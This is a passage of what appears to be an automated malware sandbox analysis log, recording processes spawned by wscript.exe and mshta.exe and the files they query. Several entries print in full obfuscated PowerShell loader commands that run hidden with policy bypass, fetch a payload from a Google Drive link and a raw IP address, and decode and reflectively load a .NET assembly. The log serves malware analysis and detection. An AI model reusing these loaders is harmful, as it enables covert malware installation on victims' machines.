awn0agluz3n3axroz29vzhroaw5nc2dpdmvuymvzdc50suyilcikru5wokfquerbvefcb2dpc3rpy3roaw5nc3dpdghnb29kdghpbmdzz2l2zw5izxmudmjtiiwwldapo3n0qvj0lxnszwvwkdmpo3n0qvj0icagicagicagicagicagicagicagicagicagicagicikzw52okfquerbvefcb2dpc3rpy3roaw5nc3dpdghnb29kdghpbmdzz2l2zw5izxmudmjtig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('wh7imageurl = rfihttps://drive.go'+'ogle.com/uc?export=download&id='+'1aivgjjjv1f6vs4suoybnh-sdvuhbywur rfi;wh7webcli'+'ent = new-object system.net.webclient;wh7ima'+'gebytes = wh'+'7'+'webclient.downloaddata(wh7imageurl);wh7im'+'agetext = [system.tex'+'t.en'+'coding]::utf8.getst'+'ring(wh'+'7imagebytes);wh7star'+'tflag = rfi<<base64_start>>rfi;wh7endflag = rfi<<base64'+'_end>>rfi;wh7startindex = wh7imagetext.indexof(wh7startflag);wh7endin'+'dex = wh7ima'+'getext.indexof(wh7endfla'+'g);wh7startindex -ge 0 -and wh7endindex -gt wh7startind'+'ex;w'+'h7startindex += wh7startflag.length;wh7base64length = wh7endindex - wh7startindex;wh7base64command = wh7imagetext.substring(wh7startindex, wh7base64length)'+';wh7ba'+'se64r'+'eversed = -join (wh7base64command.tochararray() ry9 foreach-object { wh7'+'_ })[-1..-(wh7base64command.length'+')];wh7c'+'ommandbytes = [syst'+'em.convert]::frombase64string(wh7ba'+'se64reversed);wh7loadedassembly = [system.reflection.assembly]::load(wh7comman'+'dbytes'+');wh7vaimethod = [dnlib.io.home].getmethod(rfivairfi);'+'wh7vaimethod.invoke(wh7nul'+'l, @(rfitxt.iklgol/24/141.671.3.'+'291//:ptthrfi'+', rfidesativadorfi, rfidesativadorfi, rfidesativadorfi, rfiaspnet_regbrowsersrfi, rfidesativadorfi, rfidesativadorfi,rfid'+'esativado'+'rfi,rf'+'idesativa'+'dorfi,rfidesativadorfi,rfidesativad'+'orfi,rfidesativad'+'orfi,rfi1rfi,rfidesativadorfi));').replace(([char]87+[char]104+[char]55),'$').replace('rfi',[string][char]39).replace(([char]82+[char]89+[char]57),[string][char]124) \|. ( $verbosepreference.tostring()[1,3]+'x'-join'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdxaddpbwfnzvvybca9ihjmswh0dhbzoi8vzhjpdmuuz28nkydvz2xllmnvbs91yz9lehbvcnq9zg93bmxvywqmawq9jysnmufjvmdkskp2muy2dlm0c1vpewjusc1zrhzvaejzd3vyihjmsttxadd3zwjdbgknkydlbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50o1don2ltyscrj2dlqnl0zxmgpsbxaccrjzcnkyd3zwjdbgllbnqurg93bmxvywreyxrhkfdon2ltywdlvxjskttxaddpbscrj2fnzvrlehqgpsbbu3lzdgvtllrleccrj3qurw4nkydjb2rpbmddojpvvey4lkdldfn0jysncmluzyhxaccrjzdpbwfnzuj5dgvzkttxaddzdgfyjysndezsywcgpsbyzkk8pejbu0u2nf9tvefsvd4+cmzjo1don2vuzezsywcgpsbyzkk8pejbu0u2nccrj19ftkq+pnjmsttxaddzdgfydeluzgv4id0gv2g3aw1hz2vuzxh0lkluzgv4t2yov2g3c3rhcnrgbgfnkttxaddlbmrjbicrj2rleca9ifdon2ltyscrj2dlvgv4dc5jbmrlee9mkfdon2vuzezsyscrj2cpo1don3n0yxj0sw5kzxgglwdlidaglwfuzcbxaddlbmrjbmrlecatz3qgv2g3c3rhcnrjbmqnkydledtxjysnaddzdgfydeluzgv4ics9ifdon3n0yxj0rmxhzy5mzw5ndgg7v2g3ymfzzty0tgvuz3roid0gv2g3zw5ksw5kzxgglsbxaddzdgfydeluzgv4o1don2jhc2u2nenvbw1hbmqgpsbxaddpbwfnzvrlehquu3vic3ryaw5nkfdon3n0yxj0sw5kzxgsifdon2jhc2u2nexlbmd0acknkyc7v2g3ymenkydzzty0uicrj2v2zxjzzwqgpsatam9pbiaov2g3ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpifjzosbgb3jfywnolu9iamvjdcb7ifdonycrj18gfslblteuli0ov2g3ymfzzty0q29tbwfuzc5mzw5ndggnkycpxttxaddjjysnb21tyw5kqnl0zxmgpsbbu3lzdccrj2vtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkfdon2jhjysnc2u2nfjldmvyc2vkkttxaddsb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqov2g3y29tbwfujysnzej5dgvzjysnkttxadd2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkhjmsvzbsxjmssk7jysnv2g3dmfptwv0ag9klkludm9rzshxaddudwwnkydslcbakhjmsxr4dc5js0xht0wvmjqvmtqxljy3ms4zlicrjzi5ms8vonb0dghyzkknkycsihjmswrlc2f0axzhzg9yzkksihjmswrlc2f0axzhzg9yzkksihjmswrlc2f0axzhzg9yzkksihjmswfzcg5ldf9yzwdicm93c2vyc3jmsswgcmzjzgvzyxrpdmfkb3jmsswgcmzjzgvzyxrpdmfkb3jmssxyzklkjysnzxnhdgl2ywrvjysncmzjlhjmjysnswrlc2f0axzhjysnzg9yzkkscmzjzgvzyxrpdmfkb3jmssxyzklkzxnhdgl2ywqnkydvcmzjlhjmswrlc2f0axzhzccrj29yzkkscmzjmxjmssxyzklkzxnhdgl2ywrvcmzjksk7jykuukvqtefjrsgow0niyxjdodcrw0niyxjdmta0k1tdsgfyxtu1kswnjccplljfuexby0uoj3jmsscsw3n0cmlur11bq0hhcl0zoskuukvqtefjrsgow0niyxjdodirw0niyxjdodkrw0niyxjdntcplftzdhjpbkddw0niyxjdmti0ksb8liaoicrwrxjcb1nfuhjlzkvyzu5dzs5ub3nuumluzygpwzesm10rj1gnlwpvsw4njyk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('wh7imageurl = rfihttps://drive.go'+'ogle.com/uc?export=download&id='+'1aivgjjjv1f6vs4suoybnh-sdvuhbywur rfi;wh7webcli'+'ent = new-object system.net.webclient;wh7ima'+'gebytes = wh'+'7'+'webclient.downloaddata(wh7imageurl);wh7im'+'agetext = [system.tex'+'t.en'+'coding]::utf8.getst'+'ring(wh'+'7imagebytes);wh7star'+'tflag = rfi<<base64_start>>rfi;wh7endflag = rfi<<base64'+'_end>>rfi;wh7startindex = wh7imagetext.indexof(wh7startflag);wh7endin'+'dex = wh7ima'+'getext.indexof(wh7endfla'+'g);wh7startindex -ge 0 -and wh7endindex -gt wh7startind'+'ex;w'+'h7startindex += wh7startflag.length;wh7base64length = wh7endindex - wh7startindex;wh7base64command = wh7imagetext.substring(wh7startindex, wh7base64length)'+';wh7ba'+'se64r'+'eversed = -join (wh7base64command.tochararray() ry9 foreach-object { wh7'+'_ })[-1..-(wh7base64command.length'+')];wh7c'+'ommandbytes = [syst'+'em.convert]::frombase64string(wh7ba'+'se64reversed);wh7loadedassembly = [system.reflection.assembly]::load(wh7comman'+'dbytes'+');wh7vaimethod = [dnlib.io.home].getmethod(rfivairfi);'+'wh7vaimethod.invoke(wh7nul'+'l, @(rfitxt.iklgol/24/141.671.3.'+'291//:ptthrfi'+', rfidesativadorfi, rfidesativadorfi, rfidesativadorfi, rfiaspnet_regbrowsersrfi, rfidesativadorfi, rfidesativadorfi,rfid'+'esativado'+'rfi,rf'+'idesativa'+'dorfi,rfidesativadorfi,rfidesativad'+'orfi,rfidesativad'+'orfi,rfi1rfi,rfidesativadorfi));').replace(([char]87+[char]104+[char]55),'$').replace('rfi',[string][char]39).replace(([char]82+[char]89+[char]57),[string][char]124) \|. ( $verbosepreference.tostring()[1,3]+'x'-join'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfpibfzsdvj0icagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagyurklvrzugugicagicagicagicagicagicagicagicagicagicaglu1ltujfckrlrkloavrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvsbe1vti5kbgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagiexiayxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagb2fsexlhr21bwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagicags0ksdwludcagicagicagicagicagicagicagicagicagicagicbpukpqdvrgeuzstsxjbnrqdhigicagicagicagicagicagicagicagicagicagicageuipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicagilhziiagicagicagicagicagicagicagicagicagicagicatbkfnrvnqywnficagicagicagicagicagicagicagicagicagicagihfpagjrusagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicraymxwbhvsddo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zlje3ni4xndevndivbg9naxn0awn0agluz3n3axroz29vzhroaw5nc2dpdmvuymvzdc50suyilcikru5wokfquerbvefcb2dpc3rpy3roaw5nc3dpdghnb29kdghpbmdzz2l2zw5izxmudmjtiiwwldapo3n0qvj0lxnszwvwkdmpo3n0qvj0icagicagicagicagicagicagicagicagicagicagicikzw52okfquerbvefcb2dpc3rpy3roaw5nc3dpdghnb29kdghpbmdzz2l2zw5izxmudmjtig=='+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfpibfzsdvj0icagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagyurklvrzugugicagicagicagicagicagicagicagicagicagicaglu1ltujfckrlrkloavrpt04gicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoinvsbe1vti5kbgwilcagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagiexiayxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagb2fsexlhr21bwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagicags0ksdwludcagicagicagicagicagicagicagicagicagicagicbpukpqdvrgeuzstsxjbnrqdhigicagicagicagicagicagicagicagicagicagicageuipoycgicagicagicagicagicagicagicagicagicagicaglw5hbwugicagicagicagicagicagicagicagicagicagicagilhziiagicagicagicagicagicagicagicagicagicagicatbkfnrvnqywnficagicagicagicagicagicagicagicagicagicagihfpagjrusagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicraymxwbhvsddo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zlje3ni4xndevndivbg9naxn0awn0agluz3n3axroz29vzhroaw5nc2dpdmvuymvzdc50suyilcikru5wokfquerbvefcb2dpc3rpy3roaw5nc3dpdghnb29kdghpbmdzz2l2zw5izxmudmjtiiwwldapo3n0qvj0lxnszwvwkdmpo3n0qvj0icagicagicagicagicagicagicagicagicagicagicikzw52okfquerbvefcb2dpc3rpy3roaw5nc3dpdghnb29kdghpbmdzz2l2zw5izxmudmjtig=='+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdxaddpbwfnzvvybca9ihjmswh0dhbzoi8vzhjpdmuuz28nkydvz2xllmnvbs91yz9lehbvcnq9zg93bmxvywqmawq9jysnmufjvmdkskp2muy2dlm0c1vpewjusc1zrhzvaejzd3vyihjmsttxadd3zwjdbgknkydlbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50o1don2ltyscrj2dlqnl0zxmgpsbxaccrjzcnkyd3zwjdbgllbnqurg93bmxvywreyxrhkfdon2ltywdlvxjskttxaddpbscrj2fnzvrlehqgpsbbu3lzdgvtllrleccrj3qurw4nkydjb2rpbmddojpvvey4lkdldfn0jysncmluzyhxaccrjzdpbwfnzuj5dgvzkttxaddzdgfyjysndezsywcgpsbyzkk8pejbu0u2nf9tvefsvd4+cmzjo1don2vuzezsywcgpsbyzkk8pejbu0u2nccrj19ftkq+pnjmsttxaddzdgfydeluzgv4id0gv2g3aw1hz2vuzxh0lkluzgv4t2yov2g3c3rhcnrgbgfnkttxaddlbmrjbicrj2rleca9ifdon2ltyscrj2dlvgv4dc5jbmrlee9mkfdon2vuzezsyscrj2cpo1don3n0yxj0sw5kzxgglwdlidaglwfuzcbxaddlbmrjbmrlecatz3qgv2g3c3rhcnrjbmqnkydledtxjysnaddzdgfydeluzgv4ics9ifdon3n0yxj0rmxhzy5mzw5ndgg7v2g3ymfzzty0tgvuz3roid0gv2g3zw5ksw5kzxgglsbxaddzdgfydeluzgv4o1don2jhc2u2nenvbw1hbmqgpsbxaddpbwfnzvrlehquu3vic3ryaw5nkfdon3n0yxj0sw5kzxgsifdon2jhc2u2nexlbmd0acknkyc7v2g3ymenkydzzty0uicrj2v2zxjzzwqgpsatam9pbiaov2g3ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpifjzosbgb3jfywnolu9iamvjdcb7ifdonycrj18gfslblteuli0ov2g3ymfzzty0q29tbwfuzc5mzw5ndggnkycpxttxaddjjysnb21tyw5kqnl0zxmgpsbbu3lzdccrj2vtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkfdon2jhjysnc2u2nfjldmvyc2vkkttxaddsb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqov2g3y29tbwfujysnzej5dgvzjysnkttxadd2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkhjmsvzbsxjmssk7jysnv2g3dmfptwv0ag9klkludm9rzshxaddudwwnkydslcbakhjmsxr4dc5js0xht0wvmjqvmtqxljy3ms4zlicrjzi5ms8vonb0dghyzkknkycsihjmswrlc2f0axzhzg9yzkksihjmswrlc2f0axzhzg9yzkksihjmswrlc2f0axzhzg9yzkksihjmswfzcg5ldf9yzwdicm93c2vyc3jmsswgcmzjzgvzyxrpdmfkb3jmsswgcmzjzgvzyxrpdmfkb3jmssxyzklkjysnzxnhdgl2ywrvjysncmzjlhjmjysnswrlc2f0axzhjysnzg9yzkkscmzjzgvzyxrpdmfkb3jmssxyzklkzxnhdgl2ywqnkydvcmzjlhjmswrlc2f0axzhzccrj29yzkkscmzjmxjmssxyzklkzxnhdgl2ywrvcmzjksk7jykuukvqtefjrsgow0niyxjdodcrw0niyxjdmta0k1tdsgfyxtu1kswnjccplljfuexby0uoj3jmsscsw3n0cmlur11bq0hhcl0zoskuukvqtefjrsgow0niyxjdodirw0niyxjdodkrw0niyxjdntcplftzdhjpbkddw0niyxjdmti0ksb8liaoicrwrxjcb1nfuhjlzkvyzu5dzs5ub3nuumluzygpwzesm10rj1gnlwpvsw4njyk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('wh7imageurl = rfihttps://drive.go'+'ogle.com/uc?export=download&id='+'1aivgjjjv1f6vs4suoybnh-sdvuhbywur rfi;wh7webcli'+'ent = new-object system.net.webclient;wh7ima'+'gebytes = wh'+'7'+'webclient.downloaddata(wh7imageurl);wh7im'+'agetext = [system.tex'+'t.en'+'coding]::utf8.getst'+'ring(wh'+'7imagebytes);wh7star'+'tflag = rfi<<base64_start>>rfi;wh7endflag = rfi<<base64'+'_end>>rfi;wh7startindex = wh7imagetext.indexof(wh7startflag);wh7endin'+'dex = wh7ima'+'getext.indexof(wh7endfla'+'g);wh7startindex -ge 0 -and wh7endindex -gt wh7startind'+'ex;w'+'h7startindex += wh7startflag.length;wh7base64length = wh7endindex - wh7startindex;wh7base64command = wh7imagetext.substring(wh7startindex, wh7base64length)'+';wh7ba'+'se64r'+'eversed = -join (wh7base64command.tochararray() ry9 foreach-object { wh7'+'_ })[-1..-(wh7base64command.length'+')];wh7c'+'ommandbytes = [syst'+'em.convert]::frombase64string(wh7ba'+'se64reversed);wh7loadedassembly = [system.reflection.assembly]::load(wh7comman'+'dbytes'+');wh7vaimethod = [dnlib.io.home].getmethod(rfivairfi);'+'wh7vaimethod.invoke(wh7nul'+'l, @(rfitxt.iklgol/24/141.671.3.'+'291//:ptthrfi'+', rfidesativadorfi, rfidesativadorfi, rfidesativadorfi, rfiaspnet_regbrowsersrfi, rfidesativadorfi, rfidesativadorfi,rfid'+'esativado'+'rfi,rf'+'idesativa'+'dorfi,rfidesativadorfi,rfidesativad'+'orfi,rfidesativad'+'orfi,rfi1rfi,rfidesativadorfi));').replace(([char]87+[char]104+[char]55),'$').replace('rfi',[string][char]39).replace(([char]82+[char]89+[char]57),[string][char]124) \|. ( $verbosepreference.tostring()[1,3]+'x'-join'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdxaddpbwfnzvvybca9ihjmswh0dhbzoi8vzhjpdmuuz28nkydvz2xllmnvbs91yz9lehbvcnq9zg93bmxvywqmawq9jysnmufjvmdkskp2muy2dlm0c1vpewjusc1zrhzvaejzd3vyihjmsttxadd3zwjdbgknkydlbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50o1don2ltyscrj2dlqnl0zxmgpsbxaccrjzcnkyd3zwjdbgllbnqurg93bmxvywreyxrhkfdon2ltywdlvxjskttxaddpbscrj2fnzvrlehqgpsbbu3lzdgvtllrleccrj3qurw4nkydjb2rpbmddojpvvey4lkdldfn0jysncmluzyhxaccrjzdpbwfnzuj5dgvzkttxaddzdgfyjysndezsywcgpsbyzkk8pejbu0u2nf9tvefsvd4+cmzjo1don2vuzezsywcgpsbyzkk8pejbu0u2nccrj19ftkq+pnjmsttxaddzdgfydeluzgv4id0gv2g3aw1hz2vuzxh0lkluzgv4t2yov2g3c3rhcnrgbgfnkttxaddlbmrjbicrj2rleca9ifdon2ltyscrj2dlvgv4dc5jbmrlee9mkfdon2vuzezsyscrj2cpo1don3n0yxj0sw5kzxgglwdlidaglwfuzcbxaddlbmrjbmrlecatz3qgv2g3c3rhcnrjbmqnkydledtxjysnaddzdgfydeluzgv4ics9ifdon3n0yxj0rmxhzy5mzw5ndgg7v2g3ymfzzty0tgvuz3roid0gv2g3zw5ksw5kzxgglsbxaddzdgfydeluzgv4o1don2jhc2u2nenvbw1hbmqgpsbxaddpbwfnzvrlehquu3vic3ryaw5nkfdon3n0yxj0sw5kzxgsifdon2jhc2u2nexlbmd0acknkyc7v2g3ymenkydzzty0uicrj2v2zxjzzwqgpsatam9pbiaov2g3ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpifjzosbgb3jfywnolu9iamvjdcb7ifdonycrj18gfslblteuli0ov2g3ymfzzty0q29tbwfuzc5mzw5ndggnkycpxttxaddjjysnb21tyw5kqnl0zxmgpsbbu3lzdccrj2vtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkfdon2jhjysnc2u2nfjldmvyc2vkkttxaddsb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqov2g3y29tbwfujysnzej5dgvzjysnkttxadd2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkhjmsvzbsxjmssk7jysnv2g3dmfptwv0ag9klkludm9rzshxaddudwwnkydslcbakhjmsxr4dc5js0xht0wvmjqvmtqxljy3ms4zlicrjzi5ms8vonb0dghyzkknkycsihjmswrlc2f0axzhzg9yzkksihjmswrlc2f0axzhzg9yzkksihjmswrlc2f0axzhzg9yzkksihjmswfzcg5ldf9yzwdicm93c2vyc3jmsswgcmzjzgvzyxrpdmfkb3jmsswgcmzjzgvzyxrpdmfkb3jmssxyzklkjysnzxnhdgl2ywrvjysncmzjlhjmjysnswrlc2f0axzhjysnzg9yzkkscmzjzgvzyxrpdmfkb3jmssxyzklkzxnhdgl2ywqnkydvcmzjlhjmswrlc2f0axzhzccrj29yzkkscmzjmxjmssxyzklkzxnhdgl2ywrvcmzjksk7jykuukvqtefjrsgow0niyxjdodcrw0niyxjdmta0k1tdsgfyxtu1kswnjccplljfuexby0uoj3jmsscsw3n0cmlur11bq0hhcl0zoskuukvqtefjrsgow0niyxjdodirw0niyxjdodkrw0niyxjdntcplftzdhjpbkddw0niyxjdmti0ksb8liaoicrwrxjcb1nfuhjlzkvyzu5dzs5ub3nuumluzygpwzesm10rj1gnlwpvsw4njyk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('wh7imageurl = rfihttps://drive.go'+'ogle.com/uc?export=download&id='+'1aivgjjjv1f6vs4suoybnh-sdvuhbywur rfi;wh7webcli'+'ent = new-object system.net.webclient;wh7ima'+'gebytes = wh'+'7'+'webclient.downloaddata(wh7imageurl);wh7im'+'agetext = [system.tex'+'t.en'+'coding]::utf8.getst'+'ring(wh'+'7imagebytes);wh7star'+'tflag = rfi<<base64_start>>rfi;wh7endflag = rfi<<base64'+'_end>>rfi;wh7startindex = wh7imagetext.indexof(wh7startflag);wh7endin'+'dex = wh7ima'+'getext.indexof(wh7endfla'+'g);wh7startindex -ge 0 -and wh7endindex -gt wh7startind'+'ex;w'+'h7startindex += wh7startflag.length;wh7base64length = wh7endindex - wh7startindex;wh7base64command = wh7imagetext.substring(wh7startindex, wh7base64length)'+';wh7ba'+'se64r'+'eversed = -join (wh7base64command.tochararray() ry9 foreach-object { wh7'+'_ })[-1..-(wh7base64command.length'+')];wh7c'+'ommandbytes = [syst'+'em.convert]::frombase64string(wh7ba'+'se64reversed);wh7loadedassembly = [system.reflection.assembly]::load(wh7comman'+'dbytes'+');wh7vaimethod = [dnlib.io.home].getmethod(rfivairfi);'+'wh7vaimethod.invoke(wh7nul'+'l, @(rfitxt.iklgol/24/141.671.3.'+'291//:ptthrfi'+', rfidesativadorfi, rfidesativadorfi, rfidesativadorfi, rfiaspnet_regbrowsersrfi, rfidesativadorfi, rfidesativadorfi,rfid'+'esativado'+'rfi,rf'+'idesativa'+'dorfi,rfidesativadorfi,rfidesativad'+'orfi,rfidesativad'+'orfi,rfi1rfi,rfidesativadorfi));').replace(([char]87+[char]104+[char]55),'$').replace('rfi',[string][char]39).replace(([char]82+[char]89+[char]57),[string][char]124) \|. ( $verbosepreference.tostring()[1,3]+'x'-join'')"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
